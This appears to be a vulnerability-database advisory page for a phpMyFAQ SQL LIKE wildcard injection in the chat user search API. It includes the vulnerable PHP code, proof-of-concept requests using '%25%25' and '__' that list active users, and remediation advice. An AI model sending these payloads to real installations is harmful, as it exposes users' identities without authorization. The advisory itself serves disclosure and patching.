phpMyFAQ CVE-2026-47132
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Read-only user enumeration with no data modification, so I:N; PR:L required for authenticated session; all other vectors match provided score.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.
Details
The vulnerable endpoint is:
GET /api/chat/users?q=...Source:
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
$query = trim($request->query->get('q', ''));
if (mb_strlen($query) < 2) {
return $this->json([
'success' => true,
'users' => [],
], Response::HTTP_OK);
}
$chat = new Chat($this->configuration);
$users = $chat->searchUsers($query, $this->currentUser->getUserId());Sink:
// phpmyfaq/src/phpMyFAQ/Chat.php
$escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));
$query = sprintf(
"SELECT u.user_id, ud.display_name
FROM %sfaquser u
LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id
WHERE u.user_id != %d
AND u.user_id > 0
AND LOWER(ud.display_name) LIKE '%%%s%%'
AND u.account_status = 'active'
LIMIT %d",
Database::getTablePrefix(),
Database::getTablePrefix(),
$excludeUserId,
$escapedTerm,
$limit,
);escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.
The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
PoC:
Tested against:
phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
- Ensure there are multiple active users in the database, for example:
userId=2 displayName="Alice Finance"
userId=3 displayName="Bob Support"
userId=4 displayName="Carol Engineering"- Send a normal query that should not match any user:
GET /api/chat/users?q=zz HTTP/1.1
Host: target
Cookie: [authenticated session]Observed response:
{
"success": true,
"users": []
}- Send a wildcard query:
GET /api/chat/users?q=%25%25 HTTP/1.1
Host: target
Cookie: [authenticated session]Observed response:
{
"success": true,
"users": [
{
"userId": 2,
"displayName": "Alice Finance"
},
{
"userId": 3,
"displayName": "Bob Support"
},
{
"userId": 4,
"displayName": "Carol Engineering"
}
]
}The same issue is reproducible with _ wildcards:
GET /api/chat/users?q=__ HTTP/1.1
Host: target
Cookie: [authenticated session]Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.
Impact
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
Video PoC:
https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
AnalysisAI
SQL LIKE wildcard injection in phpMyFAQ's chat user search endpoint (GET /api/chat/users?q=) allows any authenticated user to bypass the intended display-name filter and enumerate all active user accounts. The vulnerability exists because the Chat::searchUsers() method applies database escape() to prevent SQL string breakout but omits escaping of the LIKE metacharacters % and _, which the database engine still interprets as wildcards. A PoC is publicly available demonstrating full user enumeration via q=%25%25 and q=__; no KEV listing exists at time of analysis.
Technical ContextAI
phpMyFAQ is an open-source PHP FAQ application (composer package thorsten/phpmyfaq). The vulnerable code path is in phpmyfaq/src/phpMyFAQ/Chat.php in the searchUsers() method, which constructs a raw SQL LIKE query via sprintf(). The database abstraction layer's escape() call neutralizes SQL string-termination characters (apostrophes, backslashes) per CWE-20 (Improper Input Validation), but SQL LIKE wildcards (% matches any sequence, _ matches any single character) are not string-syntax characters and are unaffected by escape(). This is a well-understood class of LIKE wildcard injection: the attacker does not escape the quoted string, they abuse metacharacter semantics inside it. The project already implements the correct mitigation pattern elsewhere - using ESCAPE '|' with explicit pre-escaping of |, %, and _ - but the chat search path was not updated to match. The affected CPE is pkg:composer/thorsten_phpmyfaq.
RemediationAI
Apply the upstream fix available at commit bd4b08b012234ccfcff07bfe6518062475b29e0a (https://github.com/thorsten/phpMyFAQ/commit/bd4b08b012234ccfcff07bfe6518062475b29e0a), which adds pre-escaping of |, %, and _ characters in the searchTerm before the LIKE query, and appends ESCAPE '|' to the LIKE clause - the same pattern already used elsewhere in the codebase. The fixed version is 4.2.0-alpha per the GHSA advisory (https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-6pvm-2vjj-rx4w); note that this is an alpha release and operators should verify stability before deploying to production. If an immediate patch is not possible, a compensating control is to restrict access to the /api/chat/ endpoint at the web server or WAF layer to reduce the exposure surface - however, this disables chat functionality entirely. Alternatively, a WAF rule blocking URL-encoded % (%25) and _ in the q parameter of /api/chat/users can reduce wildcard injection risk without fully disabling the feature, though it may also block legitimate queries containing those characters.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-20 – Improper Input Validation
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-6pvm-2vjj-rx4w